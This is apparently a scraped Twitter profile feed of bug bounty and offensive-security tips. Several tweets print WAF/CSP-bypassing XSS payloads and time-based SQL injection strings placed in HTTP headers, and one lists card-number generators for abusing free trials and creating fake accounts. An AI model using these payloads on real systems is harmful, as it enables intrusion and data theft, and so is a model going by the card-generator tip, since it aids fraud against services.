VerfoSec @verfosec

Python/Django developer, tool maker, bug bounty hunter Land of Malwares Joined August 2021

Tweets

31
Followers

16
Following

383
Likes

205

Reza Sharifzade @safe_mode01

3 years ago

This vulnerability patched! How it”s possible? @Hacker0x01 triage team said it has informative severity and closed it but now they patched it! It”s bad for your brand hackerone, i think your team have no respect for bughunters #BugBounty #bugcrowd #hackerone #BugBountytips

Reza Sharifzade @safe_mode01

3 years ago

5 7 50 0 3

11 4 47 7K 3

YS @YShahinzadeh

3 years ago

This is a progress path I give to my zero students to become a penetration tester or hunter, I think it's quite clear and easy to understand :-)

1 9 100 7K 22

Download Image

Víctor García @takito1812

3 years ago

🔥🔥🔥 Introducing #WebHackingPlayground! A web hacking environment with real-life vulnerabilities. Practice detecting and exploiting them and learn new skills. Check it out on GitHub: github.com/takito1812/web…

7 107 258 0 97

VerfoSec @verfosec

3 years ago

My first tool on GitHub. It gathers write-ups from your 'medium' feed and then sends them to your discord channel. #study #medium github.com/verfosec/write…

0 0 3 0 1

0x496 @gkhck_

3 years ago

Cloudflare + CSP(unsecure) bypass 1 - Cloudflare bypass payload: "><<svg onload=alert&#0000000040document.cookie)> blocked by CSP. 2- Cloudflare + CSP bypass payload: "><<iframe onx=() onload=(alert)(6)> #bugbountytip #bugbountytips #infosec

10 106 382 0 123

Download Image

hacktive security @hacktivesec

3 years ago

blog.hacktivesecurity.com/index.php/2022… TL;DR: Overall bounty of USD 46,000! 😱🥳 First post by @_medusa_1_ showing the outcomes of his most recent #bugbounty activity which led to the detection of an HTTP Request #Smuggling #vulnerability on several big Corp. #cybersecurity #bugbountytips

5 100 252 0 94

Download Image

spread love @Itumeleng_Les

3 years ago

Time-based SQLi with two payloads injected in the following headers: 1. User-Agent: "XOR(if(now()=sysdate(),sleep(5),0))XOR" 2. X-Forwarded-For: 0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z Both payloads were executed and the server responded after 15s. Very interesting.

25 223 714 0 256

Download Image

Mohsin Khan @tabaahi_

3 years ago

Thread about hunting on the main application 🧵 1. Check the login process - Do they allow signup with email or Google etc - Do they allow you to signup with the @Company email - what is the content-type of the signup/login page - when you enter valid cred, on which page you

1 498 1K 0 844

ReconOne @ReconOne_bk

3 years ago

A list of the best Recon tools to master in 2022: • Amass • Subfinder • Gau • Uncover • Nmap • Httpx • Ffuf • Aquatone • Hakrawler • Gotator Which tool is a must learn? #bugbountytips #bugbounty #recon #tools #Pentesting #Hacking #recontips

27 91 388 0 150

Kanhaiya Sharma 🇮🇳 @krishnsec

3 years ago

#P1 #sqli #bugbountytips #bugbounty Application was using php ( whenever I see php , I test sqli first ) I tried blind sqli payload in login params - not worked sprayed in user-agent - worked✅ User-Agent: "XOR(if(now()=sysdate(),sleep(5),0))XOR" ===> 5.xx seconds delay

1 227 765 0 421

H4x0r.DZ 🇰🇵 @h4x0r_dz

3 years ago

Default Credentials Cheat Sheet github.com/ihebski/Defaul…

4 145 445 0 167

Muhammad Daffa @daffainfo

3 years ago

Well this is not a juicy endpoint, I am gonna give you the real juicy endpoints Full list: github.com/daffainfo/AllA… #bugbountytips #bugbountytip #bugbounty #wordpress #infosec

Md Ismail Šojal 🕷️ @0x0SojalSec

3 years ago

Well this is not a juicy endpoint, I am gonna give you the real juicy endpoints Full list: github.com/daffainfo/AllA… #bugbountytips #bugbountytip #bugbounty #wordpress #infosec https://t.co/YAwPIASwF7

55 354 1K 0 483

Download Image

11 86 266 0 150

Download Image

rahmetu @sshbounty

3 years ago

Yay🥳, I was awarded $750 bounty on @Hacker0x01! #TogetherWeHitHarder It's my first ever bounty. It took me 2 years to get my first payout. Yeah,it took me that long to get a reward and I am so glad I did it. A little tip for those who are struggling with bug bounty hunting A 🧵

49 99 569 0 128

Download Image

ReconOne @ReconOne_bk

3 years ago

Uncover is a great Recon tool by @pdiscoveryio to quickly discover exposed hosts on the internet. Here are 6 step that will teach you more about Uncover 👇🧵

18 155 497 0 223

Download Image

OtterHacker @OtterHacker

3 years ago

Hey ! I published a large part of my notes, and I hope you will find something new to learn in it. It goes from simple #OSCP notes to #Malware development (#COFFLoader, #ModuleStomping, #ReflectiveDLLInjection...). otterhacker.github.io

9 157 457 0 212

Arpeet Rathi 🇮🇳 @RathiArpeet

3 years ago

Let's start focusing on single bug class for 50 days each to understand its depth. Starting with #50DaysOfSQLi Will upload the progress, references,notes in my Tweets or in my Github repo : github.com/arpeetrathii/5…

4 78 247 0 97

Mohsin Khan @tabaahi_

3 years ago

How not to get burnout 🧵(What I do) 1. I don't spend hours on one endpoint/params. If I don't figure out something in 1hr I will move to the next target or endpoint. 2. After awarding each 4-digit bounty, I reward myself. I and my family go somewhere: travel and experience 1/n

15 74 343 0 95

Cyber Detective💙💛 @cyb_detective

3 years ago

Tools for generating valid bank card numbers (useful for registering accounts to use free trial versions or to create sock puppets): cardgenerator.org vccgenerator.org cardguru.io (+ card number validator) cardgenerator.io Tft @jakecreps

1 51 165 0 91

Download Image

ReconOne @ReconOne_bk

3 years ago

GitHub Dorks in Manual mode - Part 3 Use GitHub Search to find Interesting Files - 3 of 6 👇 💣 #recontips #bugbountytips #bugbounty #AttackSurfaceManagement #github #dorks #OSINT #recon #cybersecurity

2 31 95 0 32

Download Image

encodedguy - jsmon.sh @3nc0d3dGuY

3 years ago

🤠Story of a Critical Bug on Large Scope Public Program on Hackerone. Can't Disclose Program. 👉 Org has an ASN. So, I copied all CIDR ranges to a file ranges.txt 👉 Using masscan, scanned all ranges quickly in around 2 hours, and saved to a file hosts.txt 👇